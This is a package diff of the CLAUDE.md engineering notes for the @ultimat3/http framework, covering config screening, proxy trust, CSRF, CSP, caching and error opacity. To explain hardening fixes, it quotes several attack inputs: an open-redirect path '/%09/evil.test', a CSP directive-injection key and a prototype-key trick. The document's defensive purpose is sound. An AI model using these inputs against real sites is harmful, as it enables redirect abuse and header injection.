@ultimat3/http 20.2.1 → 22.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CLAUDE.md CHANGED
@@ -4,660 +4,181 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
4
4
 
5
5
  ## Boundary
6
6
 
7
- - May import: `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n`, `@ultimat3/time` — tiers 0
8
- and 1, which is the whole rule. There is no extra restriction here; the line used to read
9
- "core, schema. Nothing else, ever", stated no reason, and was stricter than the tier table.
10
- **What it bought was three re-implementations.** `locale.ts` carried its own `negotiateLocale`,
11
- `isValidTimeZone` and `resolveTimeZone`, and each disagreed with its owner about the same
12
- request: an app shipping `{ en, fr }` resolved `ctx.locale` to `'en'` forever, a switcher writing
13
- the documented `LOCALE_COOKIE` (`x_locale`) was read by nothing because this package spelled it
14
- `x-locale`, and `x-timezone: +01:00` — a fixed offset with no DST rules — became `ctx.tz` and
15
- threw four packages later. Adding a tier-1 import is cheaper than a fourth divergence.
16
- - May NOT import `@ultimat3/policy` or `@ultimat3/entity` — same tier. Authz and auth
17
- come in via `ServerHooks` (`hooks.ts`), declared structurally.
18
- - `@ultimat3/action` (tier 3) is what wires policy into `hooks.authorize`.
19
-
20
- ## Rules
21
-
22
- - **Every numeric knob `defineHttpConfig` resolves is screened, `As of 2026-08-26`** — `port`,
23
- `bodyLimitBytes`, `requestTimeoutMs`, `maxInflight`, `drainTimeoutMs` and `trustedProxyHops`,
24
- each a whole number in its own domain or `X_CONFIG_INVALID` (core's code, borrowed as
25
- `@ultimat3/auth` borrows it). Measured with `NaN`, which is what `Number(process.env.…)` answers
26
- for an unset variable: `total > NaN` is false so the body cap stopped capping and the whole
27
- payload was buffered; `NaN <= 0` is false so a deadline armed and `setTimeout(fn, NaN)` is 1ms,
28
- which 504s every request; `ceiling > 0` is false so `admit` shed nothing; and
29
- `Math.max(0, Math.floor(NaN))` is `NaN`, so `trustProxy: true` silently trusted no hop and every
30
- caller's ip became the proxy's. `Math.max(0, …)` was the guard for the last of those — a clamp is
31
- not a validator, and this package relied on one. `webhook-verify.ts` screens its own two
32
- (`toleranceMs`, `maxBytes`) and `rate-limit.ts` its `maxKeys`; the helper names carry `Finite`
33
- (`assertFiniteCount`, `assertFiniteKeyCap`, `assertFiniteBodyLimit`) because
34
- `bun run finite-bounds` recognises a repair by the shape of the CALL — spelled `count`, all five
35
- config options read as unchecked to the ratchet while every one was screened. `maxBytes` is
36
- refused HERE as well as inside `readWithinLimit`: that one is a file away and its `fix:` names
37
- core's reader rather than the option the caller wrote.
38
-
39
- **The FLOOR is per option, because only the caller knows what zero means** (`As of 2026-08-26`).
40
- `requestTimeoutMs: 0` is "no deadline" and `maxInflight: 0` is "never shed" — decisions the code
41
- reads — so those two floor at 0; `trustedProxyHops` floors at **1**, and it shipped for one day
42
- screened at 0. `forwardedElement` answers `undefined` for `hops < 1`, so
43
- `{ trustProxy: true, trustedProxyHops: 0 }` was byte-for-byte the failure the screen's own comment
44
- names: `clientAddress` falls back to the socket, one rate-limit bucket for everything behind the
45
- ingress, `x-forwarded-proto` untrusted and HSTS never emitted. `-1` and `NaN` were refused for
46
- producing exactly that state and `0` was accepted into it. `resolveTrustedProxyHops` owns both
47
- refusals — unset is `X_TRUST_PROXY_UNSET`, out of domain is `X_CONFIG_INVALID` — and there is no
48
- `?? 0` behind it, because a default of zero reopens the same hole from the other side.
49
-
50
- **`MAX_PROXY_HOPS` is EXPORTED, `As of 2026-08-26`**, and that is the point of it. It was module
51
- private, so `@ultimat3/cli`'s `trustedHopsFromEnv` — which screens the same setting arriving as
52
- `TRUSTED_PROXY_HOPS` — restated the literal, and one setting came to have two ceilings: that end
53
- said 16 while this one said 64, so a deployment behind 20 hops was accepted by the library and
54
- refused at boot. `cli` is tier 5 and this is tier 2, so the import is downward and legal. The
55
- number lives here because this is where the setting is.
56
-
7
+ - May import: `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n`, `@ultimat3/time` — tiers 0 and
8
+ 1. Locale and zone negotiation are i18n's and time's, never re-implemented here.
9
+ - May NOT import `@ultimat3/policy` or `@ultimat3/entity` — same tier. Authz and auth come in via
10
+ `ServerHooks` (`hooks.ts`), declared structurally. `@ultimat3/action` (tier 3) wires policy into
11
+ `hooks.authorize`.
12
+
13
+ ## Rules — configuration
14
+
15
+ - **Every numeric knob `defineHttpConfig` resolves is screened** (`port`, `bodyLimitBytes`,
16
+ `requestTimeoutMs`, `maxInflight`, `drainTimeoutMs`, `trustedProxyHops`) → `X_CONFIG_INVALID`
17
+ (borrowed). Helpers carry `Finite` (`assertFiniteCount`, `assertFiniteKeyCap`,
18
+ `assertFiniteBodyLimit`) so `bun run finite-bounds` sees them; `webhook-verify.ts` and
19
+ `rate-limit.ts` screen their own. **The floor is per option**: `requestTimeoutMs: 0` and
20
+ `maxInflight: 0` are "off"; `trustedProxyHops` floors at 1. `resolveTrustedProxyHops` owns both
21
+ refusals (`X_TRUST_PROXY_UNSET`, `X_CONFIG_INVALID`), with no `?? 0` behind it.
22
+ - **`MAX_PROXY_HOPS` is exported** — `@ultimat3/cli`'s `trustedHopsFromEnv` imports it; one ceiling.
57
23
  - Route `meta.auth` is required. Never default a route to public.
58
- - **An app declares its half of `HttpConfig` through `configureHttp()`, and the boot lays its own
59
- facts over it** (`As of 2026-08-24`). Until 12.0.0 the entire tuning surface was **unreachable
60
- from a shipped app**: `AppConfig` has never had an `http` key, `RuntimeOverrides` carries none,
61
- and the only construction any shipped process made was one fixed literal in
62
- `packages/cli/src/dev-roles.ts` passing eight boot facts — so `DEFAULT_CORS.origins` was `[]` in
63
- every deployment (an SPA on `app.example.com` calling `api.example.com` could not work, ever),
64
- `bodyLimitBytes` was 1 MiB for a 4 MB CSV endpoint, `requestTimeoutMs` 30s for a five-minute
65
- export, and `rateLimit.buckets` was 120 burst / 2 rps for a bank and a blog alike. Fourteen
66
- `fix:` lines told the reader to edit `http.<key>` in `app.config.ts`, which has never held one.
67
- It is a registration and not a config key for `configureAuthenticator`'s reason, stated in
68
- `hooks.ts`: `@ultimat3/core` is tier 0 and cannot hold this package's types, so an `http` block
69
- on `AppConfig` would be a **second declaration** of `HttpConfigInput` in a package that can
70
- never check it against this one. `AppHttpConfig` is `Omit<HttpConfigInput, BootOwnedHttpKey>`,
71
- **derived, never listed**: a key the boot always overwrites (`port`, `hostname`, `dev`,
72
- `buildId`, `signInPath`, `trustProxy`, `trustedProxyHops`, `rateLimit.scope`) is a type error
73
- where an app writes it, rather than a value silently discarded at every boot. `mergeHttpConfig`
74
- merges one level down — `security.csp.extend` per DIRECTIVE, because the app's CDN source and
75
- the boot's inline-script hash are each the whole answer for something, and either alone breaks a
76
- page. `type-pins.ts` holds the other half: a key on `HttpConfig` and not on `HttpConfigInput` is
77
- a build error, which `scripts/config-readers.ts` cannot see — that ratchet walks `AppConfig` and
78
- asks whether a key is READ, and this is the mirror question.
79
- - **`asCtx` is a WIDENING the compiler checks, never a cast.** `RequestContext extends Ctx` and
80
- `asCtx` is the identity function. It used to be `ctx as unknown as Ctx` over an object that set
81
- none of `clock`, `now`, `logger`, `signal` or `services` — so `ctx.now()` threw
82
- `TypeError: ctx.now is not a function` on every audited action served over HTTP,
83
- `useService()` threw a `TypeError` instead of the `X_SERVICE_MISSING` it exists to raise, and
84
- `throwIfAborted()` — the documented cancellation seam — was inert on the one surface where a
85
- caller can actually go away. Never reintroduce the assertion: the type error IS the enforcement,
86
- and it is a type-pin rather than a `.test.ts` because `tsconfig.json` excludes tests.
87
- `ctx.buildId` is core's meaning — the build this PROCESS serves; the CLIENT's claim is
88
- `ctx.clientBuildId`, read only by `assertBuild()`.
89
-
90
- **`RequestContext extends Ctx` again, and this file no longer BUILDS a context — it composes
91
- one** (`As of 2026-08-24`). `Ctx extends CtxServices`, and `CtxServices` is the seam an app
92
- augments (`declare module '@ultimat3/core'`) to declare `ctx.posts` — so in an APP's program
93
- every service it declared became a REQUIRED member of `createRequestContext`'s object literal,
94
- and this file failed to compile inside `examples/dummy` with `TS2739: missing posts, orgs` while
95
- the framework's own gate, which augments nothing, stayed green. The framework cannot set members
96
- only the app's boot knows about.
97
-
98
- `createRequestContext` now spreads `createContext()`'s result. Those members arrive WITH the
99
- base, so the literal is checked in full and there is **no assertion left in this file** —
100
- `withServices`, which existed for one release, is gone. `packages/core/src/context.ts` keeps the
101
- framework's one irreducible `as Ctx` and its header states, with the four measured alternatives,
102
- why it cannot be removed below a major.
103
-
104
- Composing is also one constructor for one shape instead of two. This file used to re-derive
105
- `clock`, `now`, the logger child, `signal`, `deadlineAt` and the service bag, so core could fix
106
- any of them and this surface would keep the old answer — which is exactly what happened to the
107
- bag (see the bullet below). `defineService` factories now install here too, for the same reason:
108
- they are `createContext`'s, and this is `createContext`.
109
-
110
- `type-pins.ts` carries `_RequestContextIsACtx`, because `asCtx` is a function body and a future
111
- edit answering a failure there with a cast would delete the enforcement and leave the comment.
112
- The reverse direction is FALSE by design — core's `Ctx` carries no `requestHeaders`, which is
113
- what `assertInRequest` proves one way at runtime.
114
- - **`defineService` used to be a job-and-CLI feature, and nothing said so** (`As of 2026-08-24`).
115
- Two halves, and together they made services unreachable on the surface an app spends its life
116
- on. This file built its own service bag from `RequestContextInit.services` alone and never
117
- called core's `installedServices()`; `pipeline.ts:224` passes NO `services` at all. So a
118
- `defineService('posts', …)` an app registered at boot was installed for a job, a task and a CLI
119
- command and for nothing else — over HTTP `ctx.services` was `{}` and `useService('posts')` threw
120
- `X_SERVICE_MISSING`. And the bag, even when one was passed, was never spread ONTO the context,
121
- so `ctx.posts` — the spelling `docs/architecture/15-adding-a-feature.md` writes in its worked
122
- example — read `undefined` beside a populated `ctx.services`.
123
-
124
- Composing `createContext` fixes both at once, which is the argument for composing: the installer
125
- is core's and so is the spread. Services go on FIRST so a service an app named `actor` or
126
- `logger` loses to the request's own field and stays reachable as `ctx.services['actor']`; the
127
- context's meaning never depends on what an app named a service. `context.test.ts` pins the
128
- factory install, the spread and the collision order.
129
- - **The two inbound ids are read BEFORE the context and the span, in `correlation.ts`.** `startSpan`
130
- resolves its parent from `currentSpanContext()`, which reads `ctx.traceId`, so a `traceparent`
131
- parsed by a stage arrived one frame after the span's context was already frozen: the caller's
132
- trace was discarded, the root span carried a dashed UUIDv7 no collector accepts as a trace id,
133
- and the log lines beside it quoted a third value. The `request-id` and `trace` stages now only
134
- PUBLISH what was decided — they do not decide. The regex is core's `parseTraceparent`, one copy.
135
- **Only ONE of the two is gated on `trustProxy`, and the asymmetry is deliberate** — `x-request-id`
136
- is ECHOED back as this response's identity, so a caller choosing it poisons log correlation for
137
- everyone; `traceparent` is W3C context continuation, which any caller is expected to send.
138
- `traceHeaders()` (tier 0) puts it on every typed-client call, so gating it would break tracing
139
- between two Ultimate services under the default `trustProxy` (false), for a value that carries
140
- correlation and no authority. Never "fix" the inconsistency by gating it.
141
- - **Every proxy-supplied header goes through `forwardedElement(header, hops)` and nothing else.**
142
- `trustProxy` documented reading `x-forwarded-for` and had no reader at all, so behind any ingress
143
- every anonymous request keyed to the proxy — one `auth` bucket (capacity 10) for the whole
144
- internet, and one scanner enough to 429 every signup on the fleet. The entry read is
145
- `entries.length - hops`, never `[0]`, which is whatever the client typed; a chain shorter than
146
- declared trusts nothing rather than falling back leftward. `trustProxy` defaults to **false** and
147
- requires `trustedProxyHops` (`X_TRUST_PROXY_UNSET` at `defineHttpConfig`) — it also gates the
148
- `x-request-id` echo, and a direct caller choosing its own request id poisons log correlation.
149
- The inbound `traceparent` is deliberately NOT on this list; `correlation.ts` above says why.
150
- `x-forwarded-proto` rides the same rule, which is what finally emits HSTS behind a
151
- TLS-terminating ingress, and so does Envoy's `x-forwarded-client-cert` (`peer-identity.ts`).
152
- **A peer certificate read from an untrusted hop is worse than none, because it authenticates** —
153
- so `ctx.peer` is `null` for an untrusted deployment, a missing header and a short chain alike.
154
- `ctx.peer` is never an actor: `hooks.authenticate` is the one funnel, through
155
- `verifyWorkloadToken()` -> `actorFromService()` in `@ultimat3/auth`.
156
- - **One deadline per request, and it is what makes `ctx.signal` exist.** `deadline.ts` holds the
157
- `AbortController` and the timer; `config.requestTimeoutMs` (30s, `0` disables) is the budget and
158
- a caller may SHORTEN it with `x-request-timeout-ms`, never lengthen it. Two halves, both needed:
159
- the abort is what cooperative code unwinds on, and the race in `execute` is what answers the
160
- socket when a handler never looked at the signal. `X_TIMEOUT` is borrowed (core's concept) and
161
- already mapped to 504. **`ctx.signal` is the deadline OR the caller going away**, `As of
162
- 2026-08`: `pipeline.ts` hands `startDeadline` the inbound `Request.signal` and the two are joined
163
- with `AbortSignal.any`, which is what `context.ts` had documented and nothing wired — a closed
164
- tab held its handler, its pool slot and its vendor connection for the whole 30s. `expired` stays
165
- the timer's alone: it answers the SOCKET, and a caller that hung up has no socket to answer.
166
- **And it leaves this process on the next hop's headers, `As of 2026-08-24`**:
167
- `Deadline.deadlineAt` is published as core's `ctx.deadlineAt`, and `traceHeaders()` (tier 0, the
168
- one thing both typed clients spread before the caller's own headers) sends what is LEFT as
169
- `x-request-timeout-ms`. Before that the header had exactly one reader — `resolveTimeoutMs`, in
170
- this file — and **zero writers anywhere in the tree**, so gateway → A (30s) → B meant a call made
171
- at t=29 started B on a FRESH 30s: real work, holding a pool slot and a vendor connection, half a
172
- minute after A's socket was answered `X_TIMEOUT`. A spent budget sends no header at all rather
173
- than `0`, because `resolveTimeoutMs` ignores anything under 1ms and falls back to its own.
174
- With `requestTimeoutMs: 0` the caller's signal is handed through as-is rather than the shared
175
- never-aborted singleton, which every such request used to share — one `abort` listener per
176
- request, accumulating for the life of the process. Always `deadline.clear()` in the `finally` —
177
- a live timer keeps the event loop from going idle, so a process that answered everything still
178
- refuses to exit.
179
- - **`admit` is the second stage, and it refuses before ANY work.** `isDraining()` had no reader in
180
- this package while this file claimed the layer answered 503 on it; past `config.maxInflight`
181
- (1000, `0` disables) a request is shed `X_OVERLOADED` with `retry-after`. Both set the header on
182
- `ctx.headers`, which the `response` stage merges, rather than teaching `error-map` a second
183
- special case. The in-flight number is core's `inflightCount()` — the same counter `beginWork()`
184
- in `server.ts` maintains — never a private one, for the same reason the drain phase is core's.
185
- A refusal that costs as much as a served request is not load shedding.
186
- - **`csrf` sits after `auth` and before `body`, and CORS cannot replace it.**
187
- `application/x-www-form-urlencoded` is a CORS-*simple* content type, so a cross-site
188
- `<form method="post">` is SENT and EXECUTED with the session cookie attached and
189
- `cors.origins: []` only withholds the reply — long after the refund went through. After auth
190
- because only an AMBIENT credential can be forged into (anonymous and bearer callers are exempt);
191
- before body so a rejected write never allocates its payload. `sec-fetch-site: same-origin`, an
192
- `Origin` equal to this app, or an `Origin` already in `cors.origins`; anything else is
193
- `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). "Already in
194
- `cors.origins`" means an EXACT listing — `originListed`, never `allowedOrigin`, `As of
195
- 2026-09-06`. That one answers the RESPONSE header, and for `origins: ['*'], credentials: false`
196
- (the only wildcard `assertCorsConfig` admits) its answer is `'*'`, which is not `null` and so
197
- read as "this origin is one we allow": every origin on the internet was same-origin, and the
198
- cross-site form post this stage exists to refuse was answered `{"ok":true}`. The self
199
- origin is built from `ctx.https`, not `url.protocol`, or every legitimate post behind a
200
- TLS-terminating ingress would be refused. **`mode: 'token'` is deliberately NOT shipped** — a
201
- double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
202
- token mode is worse than an honest `'origin' | 'off'`.
203
- - **An unclassified 5xx tells the CALLER nothing off the throwable** (`As of 2026-08-23`).
204
- `error-page.ts` has always shown a browser the status, the code and the request id and said so in
205
- its header; `toProblem` rendered `facts.cause`, which for a 500 nobody classified falls through to
206
- the exception's own `message` — a driver's DSN, the row Postgres rejected, an absolute path. One
207
- condition, two audiences, and they disagreed. The discriminator is a code nobody declared a status
208
- for, plus `X_INTERNAL` itself: core's `toError()` wraps a caught value into an `InternalError`
209
- whose cause is `renderCauseValue(value)`, so the framework's own word for "unclassified" is where
210
- the leak arrives. `toProblem(error, { dev })` is the seam and `dev` DEFAULTS TO FALSE: the
211
- `error-map` stage is the one call site that can see the config, and every degraded `problem()` in
212
- the tail must stay opaque. The real text is not lost — it is the log field and the error report,
213
- both keyed by the request id the caller was given.
214
- - **The problem document carries the ISSUE LIST, and the opacity rule applies to it**
215
- (`As of 2026-08-24`). `ProblemDocument.issues` is a top-level extension member — RFC 9457 §3.2
216
- puts extension members at the document root and every Ultimate extension already is one
217
- (`code`, `cause`, `fix`, `docs`, `requestId`); there is no bag. `@ultimat3/action` has attached
218
- the list to `meta.issues` since `InputInvalidError` grew its third parameter and **nothing
219
- carried it**, so every app in this framework recovered per-field form errors by splitting
220
- `cause` on `'; '` — guesswork the moment a message contains the separator.
221
-
222
- Four rules, and the third is the one most likely to be dropped by a later edit.
223
- `issuesOf` is TOTAL and module-private, written in `retryAfterOf`'s shape and for its reason:
224
- `meta` is a property read on a value this package did not build, in the frame that decides what
225
- the caller sees. It is **all-or-nothing** — a client that finds `issues` uses it INSTEAD of
226
- `cause`, so one unreadable entry drops the whole list back to the prose line rather than
227
- shipping a subset, which would be a rejection the user never sees and a form reporting itself
228
- valid. The member is **absent** when there is none, never `undefined` and never `[]`:
229
- `JSON.stringify` drops an `undefined`, but this interface is read directly by `error-page.ts`
230
- and by tests, and `[]` claims "validated clean" about a request that was just refused — which
231
- the first implementation of this reader emitted, because `Array.isArray([])` is true and the
232
- loop simply does not run. A list past `MAX_PROBLEM_ISSUES` (100) is dropped WHOLE for the same
233
- all-or-nothing reason, and because `@ultimat3/action`'s `issuesFromWire` bounds it identically
234
- on arrival: sending it is a body that costs the wire and answers nothing. That package is tier 3,
235
- so the number is restated here and pinned on this side. And it is **dropped under exactly the condition
236
- that blanks `title`/`detail`/`cause`** — an issue list on an unclassified 5xx is precisely the
237
- internal detail `INTERNAL_CAUSE` exists to withhold, because it names the fields and the
238
- expectations of something the caller was never meant to see inside. `X_INPUT_INVALID` is a
239
- declared 4xx and so is never opaque.
240
-
241
- `received` is forced to `''` and every entry is rebuilt member by member, never spread. Not
242
- redundancy with `toValidationIssues`, which forces the same thing: this is the boundary where
243
- the value LEAVES the process, a conforming library's own issue object is first-class here and
244
- routinely carries the rejected value, and `@ultimat3/schema`'s `describeValue` exists because a
245
- password-strength rule once wrote mistyped passwords into the log index.
246
- - **A rejected value is a log FIELD, never part of the message.** `logger.emit()` redacts `bound`,
247
- `contextFields` and `fields` — and never `msg` — so `logger.error(\`${code}: ${cause}\`)` in the
248
- `error-map` stage wrote a rejected password verbatim into the log store, at 4xx, which is logged
249
- and not reported and therefore kept for the full retention. The message is the CODE alone. The
250
- other half is `@ultimat3/schema`'s `describeValue` (shape, never content) and it is the
251
- load-bearing one; this half is what makes the value redactable at all.
252
- - **A repeated field is a LIST, in all three parsers.** `collectFields` in `request.ts` is the one
253
- collector for the query, `application/x-www-form-urlencoded` and `multipart/form-data`. The last
254
- two were `Object.fromEntries`, which keeps the LAST value: a checkbox group posting `tags` three
255
- times reached the body schema as one string, while the query parser three functions up had built
256
- an array for the same shape since it shipped.
257
- - **A rejected BODY is not a log field either — `bodyInvalid`'s `issues` may name only what the
258
- framework chose** (`As of 2026-08-19`). `request.ts` built `could not parse ${type}: ${String(error)}`,
259
- and the runtime's `SyntaxError` quotes the token it choked on: a `POST` of
260
- `{"password": hunter2SuperSecret}` answered `422` with that identifier in `cause`, which goes to
261
- the CALLER through `toProblem` and to the log store as the unredactable field `cause`. Two rules,
262
- both needed. The caller-facing `issues` are a fixed vocabulary — `could not parse the body as
263
- JSON`, and the LIST of accepted content-types rather than the one that was sent — and everything
264
- the caller supplied rides in `bodyInvalid`'s third argument, `meta`, which `toProblem` never
265
- renders for a framework code (`registerProblemMeta` refuses to declare one). The parser's own message goes through core's `renderThrowable`, never `String(error)`:
266
- `bun run error-render` cannot see this class of defect, because a `catch` binding is not a
267
- parameter, so it is a review rule here and a blind spot there.
268
- - **`meta` reaches the document only by declaration — per code, per key, app codes only**
269
- (`As of 2026-09-05`). `meta` is the operator-only bag: `bodyInvalid` keeps the body excerpt
270
- there, the limiter its internal key, core's `assert` the rejected value, `env-example.ts` file
271
- paths, and each of those relies on `toProblem` never rendering it. So "carry `meta`" was never
272
- an option, and an app whose `X_SESSION_CHECKOUT_BUSY` put `{ sessionId, title, state }` there
273
- had its island recover the id by running a UUID regex over `cause`. `registerProblemMeta({
274
- X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] })` (`problem-meta.ts`) is the seam,
275
- in `registerErrorStatus`'s shape and refusing what it refuses — a framework-owned code —
276
- plus `issues` (one home, one bound) and `__proto__`. `wireMeta` copies the declared keys that
277
- are set, member by member through `Object.defineProperty`, all-or-nothing for `issuesOf`'s
278
- reason and bounded at `MAX_PROBLEM_META_BYTES`; `toProblem` drops it under exactly the
279
- `opaque` condition that blanks `cause`, which is also the belt on "both registrations are
280
- needed": a code with keys and no status is unclassified. The typed client
281
- (`@ultimat3/action`'s `metaFromWire`) puts the member back on `RemoteActionError.meta`, under
282
- the four members that class owns.
283
- - **A browser that fails `auth: 'required'` is redirected; an agent gets the problem document.**
284
- One condition, two audiences, decided once in `auth-redirect.ts` and applied in the `error-map`
285
- stage before the overlay. `config.signInPath` is `null` until an app names its page, because a
286
- framework that guessed `/signin` would send an app spelling it `/login` to a 404 — strictly
287
- worse than the JSON. The round trip is `?next=`, and `nextAfterSignIn` is the ONE reader of it:
288
- anything that is not a same-origin path falls back, or the page that hands out a session
289
- becomes an open redirect. **A control character is an off-site destination**: a browser deletes
290
- TAB, CR and LF from a `Location` before parsing it, so `/%09/evil.test` decodes to a value that
291
- starts with one slash, passes a prefix check and is then followed as `//evil.test`. The prefix
292
- checks are not the last word — the value is re-parsed against an origin no relative path can
293
- reach, and anything that resolves off it falls back. Nothing here throws either: `?next=%` is a
294
- bare `URIError`, and this runs while the pipeline is already rendering a 401.
295
- - **The body cap is enforced while reading, never after.** `UltimateRequest.#read` pulls the body
296
- through a counting reader and cancels the stream the moment the running total passes
297
- `bodyLimitBytes`. `content-length` is a courtesy — a `transfer-encoding: chunked` request
298
- declares none, so `arrayBuffer()` allocated a 10GB payload in full before measuring it. Multipart
299
- goes through the same capped bytes (re-parsed by `Response.formData()` off the announced
300
- boundary) rather than being handed to the runtime as an unbounded stream, which is what left it
301
- with no byte guard at all when the length was undeclared.
302
- - **The `cache-headers` stage is the ONE owner of the final cache answer, `As of 2026-08-23`.** It
303
- used to apply the actor-aware default only when nothing had set a header — and every page route
304
- in every app sets one, because `@ultimat3/render`'s `ssrHeaders` writes
305
- `public, max-age=0, s-maxage=30, stale-while-revalidate=300` for any route that declares no
306
- `policy`, which is exactly what `x g route --surface app` scaffolds. So the rule below was
307
- unreachable for the surface it was written for. A render mode states the MODE's intent; this
308
- stage decides, and `offersSharedCache` is the discriminator: a shared answer for an identified
309
- request becomes `PRIVATE_CACHE`, an anonymous one gains `SHARED_CACHE_VARY`. `immutable` is left
310
- alone in both directions — it asserts the body is a function of the URL, which is what a
311
- content-addressed island chunk is, and demoting those would re-download every chunk on every
312
- navigation for every signed-in user.
313
- - **The cache default reads the ACTOR, not just the route, and `vary` is added and never set.**
314
- `meta.auth` is only `'public' | 'required'`, so the page that greets a signed-in visitor by name
315
- is a `'public'` route: keying the default off the route alone put that visitor's personalised
316
- HTML in a shared cache for 60 seconds. A request whose actor is not anonymous is `private`;
317
- an anonymous one stays shared-cacheable and carries `vary: accept-language, cookie`. Both halves
318
- are required — either alone leaves the hole. `addVary` (`response.ts`) is how the `response`
319
- stage merges CORS's `vary: origin` into the cache stage's key instead of replacing it.
320
- - **A `security.csp.extend` entry is refused at `defineHttpConfig` unless it can only emit the
321
- directive it names.** A directive name and a source both go into the header VERBATIM and the
322
- header's own separators are `;` and ` `, so `extend: { 'x; script-src *': [] }` was not one badly
323
- named directive — it was a second directive nobody declared, widening the one this package locks
324
- down hardest. `X_CSP_DIRECTIVE_INVALID`, at boot, because there is no encoding for a CSP source
325
- and escaping one at emission time is not a repair. `buildCsp` builds through a **`Map`** for the
326
- other half of the same class: `directives[name]` was a computed read of an object literal keyed by
327
- a caller-chosen name, so `extend: { toString: [...] }` spread a function off `Object.prototype`
328
- and threw a bare `TypeError` at boot. `proto-index` cannot see it — `baseline()` is what produces
329
- the object.
330
- - **`config.drainTimeoutMs` is `number | null`, and `null` is the default** (`As of 2026-08-23`).
331
- `createServer` calls `configureLifecycle({ deadlineMs })` only when an app DECLARED one. It used
332
- to call it unconditionally with a value `defineHttpConfig` had defaulted to 15s, so an app that
333
- wrote `configureLifecycle({ deadlineMs: 600_000 })` — the edit `X_SHUTDOWN_TIMEOUT`'s own `fix:`
334
- prints — had it silently reverted by the next line of boot, in every process that serves web.
335
- "Nobody said" and "the app said 15 seconds" are different claims and only one of them may move a
336
- process-global deadline.
337
- - **`cors.origins: ['*']` with `credentials: true` is refused at `defineHttpConfig`.** No browser
338
- accepts that pair, and `allowedOrigin` answering `null` for it meant the natural "open it up"
339
- edit emitted no CORS headers at all, silently, on every request — with `DEFAULT_CORS.credentials`
340
- (true) as the half nobody thinks to look at. `X_CORS_CONFIG_INVALID`, at config time, with the
341
- one-line edit in the `fix`. A REFUSED origin still gets `vary: origin`: without it a shared cache
342
- files the un-CORS'd body under the URL alone and hands it to an allowed origin next.
343
- - **HSTS is emitted only when https is affirmed.** `securityHeaders(config, { https })` defaults to
344
- NOT sending it — the pipeline is the one caller that knows, and it passes `ctx.https`. The guard
345
- read `!== false`, so every other caller sent a two-year `includeSubDomains` for a connection
346
- nothing had established was secure, which is the opposite of what the comment above it promised.
347
- - **`meta.enforcedBy` says who evaluates `meta.policy`, and the `authz` stage obeys it.**
348
- `'pipeline'` (the default, and what a page wants) means the stage decides through
349
- `hooks.authorize`; `'handler'` means the handler is the one evaluation and the stage returns
350
- without deciding — no hook required, and none consulted. An action route says `'handler'`
351
- because `@ultimat3/action`'s `invoke` loads the row a row-level rule reads and this stage
352
- cannot. Deciding in both places is two authz systems, and the one that answers first is the
353
- one holding less.
354
- - **A 403's `fix:` names the POLICY, never the pathname** (`As of 2026-08`). `forbidden` emitted
355
- `x policy explain ${ctx.url.pathname}`, and `x policy explain` resolves a policy SUBJECT — a
356
- permission, an action name or a query name. A page pathname is none of them, so the one command
357
- the error told the reader to run exited `X_DECLARATION_UNKNOWN` (`x policy explain /settings`,
358
- reproduced in `examples/dummy`). The third argument is `route.meta.policy`, which is what the
359
- `authz` stage was evaluating and what the index can resolve; anything that is not a bare
360
- `resource:verb` — a composite renders `and(a:b, c:d)` — degrades to `x routes --json`, the shape
361
- `bodyInvalid` already uses. A fix that names the wrong thing is not a fix.
362
- - **`ctx.actor` is never null.** `asCtx` publishes the request context itself as core's `Ctx`,
363
- and `Ctx.actor` is an `Actor` — so "nobody" is core's anonymous actor, not `null`. The
364
- `authenticate` hook still says it with `null`; the `auth` stage is where that becomes
365
- `anonymousActor()`. A null here reaches every `ctx.actor` reader in the framework as a contract
366
- violation that only shows up on the first unauthenticated request.
367
- - **The lifecycle is three files, and the split is by responsibility, not by length.** `pipeline.ts`
368
- owns the ORDER (`PIPELINE_STAGES`, the phases, the run loop, ALS, the span and the one metrics
369
- call); `stages.ts` owns what each stage does and declares the vocabulary (`StageName`,
370
- `StageRun`, `Stage`) beside the implementations it names; `finalize.ts` owns the promise that the
371
- tail answers rather than rejects. Imports go one way — `pipeline.ts` → `stages.ts` — because a
372
- stage body reads `StageRunnersInput`, an explicit list of what a stage may depend on, and never
373
- `PipelineDeps`. Adding a stage means an entry in **both** `PIPELINE_STAGES` and the
374
- `Record<StageName, StageRun>` table; the record type is what makes forgetting one a build error.
375
- - Never add a stage to `PIPELINE_STAGES` without a `why` and a test.
376
- - **The `locale` stage decides WHERE, the owners decide WHAT.** It reads a header and a cookie and
377
- hands the raw strings to `@ultimat3/i18n`'s `resolveLocale` and `@ultimat3/time`'s
378
- `resolveTimeZone`; it must never negotiate, validate or canonicalize one itself. The two answers
379
- land on `ctx.locale` and `ctx.tz` — **core's own declared fields, the framework's only ambient
380
- store for either** — so `currentLocale()` and `currentTimeZone()` answer for this request once
381
- `pipeline.ts` publishes the context into the ALS. `@ultimat3/time` kept a second store
382
- (`ctx['timeZone']`) with zero writers until 1.3.0, and the whole cost was silent: every
383
- `@ultimat3/ui` server render formatted its dates in UTC however the request arrived. A default
384
- for either value is `configureTime({ defaultZone })` / `defineCatalogs({ default })`, never a
385
- third copy in `HttpConfig`.
386
- - **`toBucket` lives here, not in `@ultimat3/action`.** `action` and `query` are the same tier and
387
- can never import each other, so the only conversion between `{ limit, windowMs }` and a `Bucket`
388
- sitting in one of them is why a `query` could not declare a rate limit at all. It is beside
389
- `Bucket` and the maths it validates, and it throws http's own `X_RATE_LIMIT_INVALID`.
390
- - **`ERROR_STATUS`'s keys are LITERAL, not an index signature** (`As of 2026-08-19`). The
391
- annotation was `Readonly<Record<string, number>>`, which made `ERROR_STATUS.X_QUERY_NOT_PAGABLE`
392
- a legal read answering `undefined` — a mistyped row in the one table the framework's whole error
393
- contract rests on. It is now an object literal `satisfies Readonly<Record<string, number>>`, so a
394
- typo is a compile error; `error-map.test.ts` pins that with a `@ts-expect-error`. Read it by a
395
- code the framework did not mint through `statusFor()`, which goes via the file-local `BY_CODE`
396
- view and keeps `Object.hasOwn`.
397
- - **A problem document's `type` and its `docs` are two different questions, `As of 2026-08-23`.**
398
- Both used to be `https://ultimate.dev/errors/<code>` — one string, twice, and a host that
399
